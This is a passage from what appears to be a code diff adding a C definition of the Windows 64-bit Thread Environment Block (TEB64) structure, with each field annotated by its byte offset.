// 0x100 + ULONG CurrentLocale; // 0x108 + ULONG FpSoftwareStatusRegister; // 0x10c + ULONGLONG SystemReserved1[54]; // 0x110 + LONG ExceptionCode; // 0x2c0 + ULONGLONG ActivationContextStackPointer; // 0x2c8 + UCHAR SpareBytes[24]; // 0x2d0 + ULONG TxFsContext; // 0x2e8 + struct _GDI_TEB_BATCH64 GdiTebBatch; // 0x2f0 + struct _CLIENT_ID64 RealClientId; // 0x7d8 + ULONGLONG GdiCachedProcessHandle; // 0x7e8 + ULONG GdiClientPID; // 0x7f0 + ULONG GdiClientTID; // 0x7f4 + ULONGLONG GdiThreadLocalInfo; // 0x7f8 + ULONGLONG Win32ClientInfo[62]; // 0x800 + ULONGLONG glDispatchTable[233]; // 0x9f0 + ULONGLONG glReserved1[29]; // 0x1138 + ULONGLONG glReserved2; // 0x1220 + ULONGLONG glSectionInfo; // 0x1228 + ULONGLONG glSection; // 0x1230 + ULONGLONG glTable; // 0x1238 + ULONGLONG glCurrentRC; // 0x1240 + ULONGLONG glContext; // 0x1248 + ULONG LastStatusValue; // 0x1250 + struct _STRING64 StaticUnicodeString; // 0x1258 + WCHAR StaticUnicodeBuffer[261]; // 0x1268 + ULONGLONG DeallocationStack; // 0x1478 + ULONGLONG TlsSlots[64]; // 0x1480 + struct LIST_ENTRY64 TlsLinks; // 0x1680 + ULONGLONG Vdm; // 0x1690 + ULONGLONG ReservedForNtRpc; // 0x1698 + ULONGLONG DbgSsReserved[2]; // 0x16a0 + ULONG HardErrorMode; // 0x16b0 + ULONGLONG Instrumentation[11]; // 0x16b8 + struct _GUID ActivityId; // 0x1710 + ULONGLONG SubProcessTag; // 0x1720 + ULONGLONG EtwLocalData; // 0x1728 + ULONGLONG EtwTraceData; // 0x1730 + ULONGLONG WinSockData; // 0x1738 + ULONG GdiBatchCount; // 0x1740 + union { + struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0x1744 + ULONG IdealProcessorValue; // 0x1744 + struct { + UCHAR ReservedPad0; // 0x1744 + UCHAR ReservedPad1; // 0x1745 + UCHAR ReservedPad2; // 0x1746 + UCHAR IdealProcessor; // 0x1747 + }; + }; + ULONG GuaranteedStackBytes; // 0x1748 + ULONGLONG ReservedForPerf; // 0x1750 + ULONGLONG ReservedForOle; // 0x1758 + ULONG WaitingOnLoaderLock; // 0x1760 + ULONGLONG SavedPriorityState; // 0x1768 + ULONGLONG SoftPatchPtr1; // 0x1770 + ULONGLONG ThreadPoolData; // 0x1778 + ULONGLONG TlsExpansionSlots; // 0x1780 + ULONGLONG DeallocationBStore; // 0x1788 + ULONGLONG BStoreLimit; // 0x1790 + ULONG MuiGeneration; // 0x1798 + ULONG IsImpersonating; // 0x179c + ULONGLONG NlsCache; // 0x17a0 + ULONGLONG pShimData; // 0x17a8 + ULONG HeapVirtualAffinity; // 0x17b0 + ULONGLONG CurrentTransactionHandle; // 0x17b8 + ULONGLONG ActiveFrame; // 0x17c0 + ULONGLONG FlsData; // 0x17c8 + ULONGLONG PreferredLanguages; // 0x17d0 + ULONGLONG UserPrefLanguages; // 0x17d8 + ULONGLONG MergedPrefLanguages; // 0x17e0 + ULONG MuiImpersonation; // 0x17e8 + union { + volatile USHORT CrossTebFlags; // 0x17ec + USHORT SpareCrossTebBits : 16; // 0x17ec + }; + union { + USHORT SameTebFlags; // 0x17ee + struct { + USHORT SafeThunkCall : 1; // 0x17ee + USHORT InDebugPrint : 1; // 0x17ee + USHORT HasFiberData : 1; // 0x17ee + USHORT SkipThreadAttach : 1; // 0x17ee + USHORT WerInShipAssertCode : 1; // 0x17ee + USHORT RanProcessInit : 1; // 0x17ee + USHORT ClonedThread : 1; // 0x17ee + USHORT SuppressDebugMsg : 1; // 0x17ee + USHORT DisableUserStackWalk : 1; // 0x17ee + USHORT RtlExceptionAttached : 1; // 0x17ee + USHORT InitialThread : 1; // 0x17ee + USHORT SpareSameTebBits : 5; // 0x17ee + }SameTebFlagStruct; + }; + ULONGLONG TxnScopeEnterCallback; // 0x17f0 + ULONGLONG TxnScopeExitCallback; // 0x17f8 + ULONGLONG TxnScopeContext; // 0x1800 + ULONG LockCount; // 0x1808 + ULONG SpareUlong0; // 0x180c + ULONGLONG ResourceRetValue; // 0x1810 +}TEB64;